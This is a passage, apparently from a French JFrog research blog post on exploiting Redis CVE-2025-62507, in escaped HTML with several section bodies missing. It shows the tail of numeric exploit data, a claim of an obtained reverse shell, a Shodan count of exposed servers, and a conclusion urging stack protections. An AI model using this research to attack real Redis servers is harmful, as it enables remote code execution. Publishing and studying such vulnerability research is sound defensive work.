1-1 1-1 1-1 1-1 1-1 1-1 \n1-93824992764711 140737488347136-93824992781334 131072-93824994830866 \n7-140737344395808 93824993018745-5188146770969726280 \n36028759975170232-7593684693624618752 3251713775725850478-3417785037639589987 \n2335447498982908258-3420032447996241470 3328783758969037684-3760278288324245297 \n3541586533393118260-39\n\n<\/code><\/pre>\n
\nEt nous avons obtenu le shell invers\u00e9\u00a0!<\/p>\n![\"JFrog](\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13221314\/JFrog-Exploiting-the-Redis-Vulnerability-image1-1.png\")
<\/p>\n\u00c9l\u00e9ments manquants pour obtenir un code d\u2019exploitation enti\u00e8rement op\u00e9rationnel<\/h2>\n
Dans quelle mesure la CVE-2025-62507 est-elle r\u00e9pandue aujourd\u2019hui\u00a0?<\/h2>\n
\nSelon Shodan, au moment de la r\u00e9daction de cet article, 2\u00a0924\u00a0serveurs <\/a>peuvent \u00eatre imm\u00e9diatement compromis au moyen de cette faille, car\u00a0:<\/p>\n![\"JFrog](\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13222056\/JFrog-Exploiting-the-Redis-Vulnerability-image5.png\")
<\/p>\n![\"JFrog](\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13222300\/JFrog-Exploiting-the-Redis-Vulnerability-image3.png\")
<\/p>\nConclusion<\/h1>\n
-fstack-protector<\/code> lors de l\u2019utilisation de gcc). Comme l\u2019ont montr\u00e9 nos recherches, l\u2019absence de ces protections dans certains environnements peut transformer un bogue de gravit\u00e9 \u00e9lev\u00e9e en voie d\u2019acc\u00e8s triviale \u00e0 une ex\u00e9cution de code \u00e0 distance.<\/p>\n